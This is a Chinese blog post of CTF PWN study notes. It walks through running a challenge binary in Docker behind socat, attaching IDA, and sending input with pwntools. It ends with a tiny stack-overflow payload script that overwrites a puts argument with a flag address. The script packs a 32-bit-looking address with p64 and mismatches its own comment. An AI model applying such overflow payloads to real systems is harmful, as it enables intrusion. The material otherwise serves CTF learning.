当前位置:首页 > 技术学习 > CTF PWN 题目 基础调试流程 随笔

CTF PWN 题目 基础调试流程 随笔

service docker start //启动docker服务

docker container ls -a //查看所有容器

docker start 容器名  //启动指定容器

docker container cp 被复制的文件路径 容器名:复制到容器的路径  //例如将/root/Desktop/pwn/easy2复制至容器Testcontainer的/root/easy2

docker exec -it 容器名 /bin/bash  //进入容器的终端

socat tcp-listen:10001,reuseaddr,fork EXEC:./文件名,pty,raw  //启动一个端口,转发docker里的程序

保留这个终端,重开一个终端进入docker容器运行linux_server

然后在新开个终端:

python //进入py

from pwn import *//调用pwn模块

io = remote('172.17.0.2',10001) //连接docker容器

在ida中attach被调试的进程,在输入函数后面下断点,如下图:

1525276590.jpg

io.sendline("输入内容")//使程序运行下去断在输入函数后面


最简单的py构造脚本如下:

flag_addr = 0x0804A080 #flag字符串所在的内存地址

payload = ''

payload += 'A'*20 #使用20个任意字符填充

payload += p64(flag_addr) #将0x080486F7处的call _puts指令调用的参数覆盖成flag字符串所在地址

print io.recv()

io.sendline(payload)

print io.recv() #读取flag


环境加载完成后如下图:

1525276732(1).jpg

除特别注明外,本站所有文章均为Moeray 的博客 | MoerayBlog原创,转载请注明出处来自https://www.r966.com/post/12.html

赞 (1
Ray's Qq:1422401186.

发表评论

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。